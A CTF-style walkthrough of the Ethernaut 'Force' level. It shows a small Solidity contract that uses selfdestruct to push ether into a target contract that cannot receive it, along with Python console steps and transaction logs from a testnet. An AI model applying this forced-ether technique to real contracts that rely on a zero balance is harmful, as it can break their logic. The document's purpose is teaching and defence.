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07 - Force

Challenge

Some contracts will simply not take your money ¯\(ツ)/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Summary

The contract Force is a simple contract that does not accept any ether. The goal is to make the balance of the contract greater than zero. At first this seems impossible because we cannot call send or transfer on the contract. However, we can use a contract to call selfdestruct on itself and send the balance to Force.

selfdestruct:

  • Contracts can be deleted from the blockchain by calling selfdestruct.
  • selfdestruct sends all remaining Ether stored in the contract to a designated address.

This allows us to create a contract that will send its balance to Force when it is selfdestructed.

Walkthrough

>>> from cheb3 import Connection
>>> from cheb3.utils import compile_sol
>>> conn = Connection("https://goerli.infura.io/v3/<key>")
>>> account = conn.account("<priv_key>")
>>> contract_addr = '0x4E3Ac6C6Bd8a612407B862Ae356df8356fe984Ea'

We first deploy a contract that has 2 methods, deposit() which can deposit balance, and hack(address) which destructs the contract and sends the balance to address.

>>> abi, bytecode = compile_sol('''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceHack {
    uint public balance = 0;

    function deposit() external payable {
        balance += msg.value;
    }

    function hack(address payable _to) external payable {
        selfdestruct(_to);
    }
}
''',
solc_version="0.8.17",
base_path="Ethernaut/node_modules/"
)['ForceHack']

>>> contract = conn.contract(account, abi=abi, bytecode=bytecode)
>>> contract.deploy()
2023-06-07 20:40:22.246 | DEBUG    | cheb3.contract:deploy:92 - Deploying contract ...
2023-06-07 20:40:34.201 | INFO     | cheb3.contract:deploy:97 - The contract is deployed at 0x58b1Ceb2728Fe3F2fE673b8e23b1fC641bc145A2

Next, we can first call deposit and then hack:

>>> contract.functions.balance().call()
0
>>> contract.functions.deposit().send_transaction(value=100, gas_limit=1000000)
2023-06-07 20:43:56.826 | INFO     | cheb3.contract:send_transaction:230 - (0x58b1Ceb2728Fe3F2fE673b8e23b1fC641bc145A2).deposit transaction hash: 0xccef39b829986ef685e32b7e5fec08954da3322bc4bd220c2e901350965e7b3f
AttributeDict({'blockHash': HexBytes('0xa93a29aac6ad80f51729c040f56a91fb840ff2aa7b8c44eb7f0a1d42acd58291'), 'blockNumber': 9141736, 'contractAddress': None, 'cumulativeGasUsed': 6940184, 'effectiveGasPrice': 69, 'from': '0x0b26C24d538e3dfF58F7c733535e65a6674FB3aB', 'gasUsed': 43520, 'logs': [], 'logsBloom': HexBytes('0x00..00'), 'status': 1, 'to': '0x58b1Ceb2728Fe3F2fE673b8e23b1fC641bc145A2', 'transactionHash': HexBytes('0xccef39b829986ef685e32b7e5fec08954da3322bc4bd220c2e901350965e7b3f'), 'transactionIndex': 44, 'type': 0})
>>> contract.functions.balance().call()
100
>>> contract.functions.hack(contract_addr).send_transaction(gas_limit=1000000)
2023-06-07 20:45:10.199 | INFO     | cheb3.contract:send_transaction:230 - (0x58b1Ceb2728Fe3F2fE673b8e23b1fC641bc145A2).hack transaction hash: 0xdb7638e542f6ab5eb78ad49f6f6f9515dca009f486ed31e9a8f1d22b1f2cfde8
AttributeDict({'blockHash': HexBytes('0x5afe6676450c1cdf7427d98ca46759b30ee64bc25d84bd4d8145c7d0822eab79'), 'blockNumber': 9141741, 'contractAddress': None, 'cumulativeGasUsed': 14379718, 'effectiveGasPrice': 67, 'from': '0x0b26C24d538e3dfF58F7c733535e65a6674FB3aB', 'gasUsed': 29439, 'logs': [], 'logsBloom': HexBytes('0x00..00'), 'status': 1, 'to': '0x58b1Ceb2728Fe3F2fE673b8e23b1fC641bc145A2', 'transactionHash': HexBytes('0xdb7638e542f6ab5eb78ad49f6f6f9515dca009f486ed31e9a8f1d22b1f2cfde8'), 'transactionIndex': 81, 'type': 0})

Now if we try to call contract.functions.balance().call() again, it will throw exception because contract was already destructed.

From Chrome Devtool, await getBalance(contract.address) shows non-zero as expected since our contract was selfdestructed and the balance was sent to Force contract.

Finally, submit the instance to pass the level.

Afterword

In solidity, for a contract to be able to receive ether, the fallback function must be marked payable.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0 for any contract logic.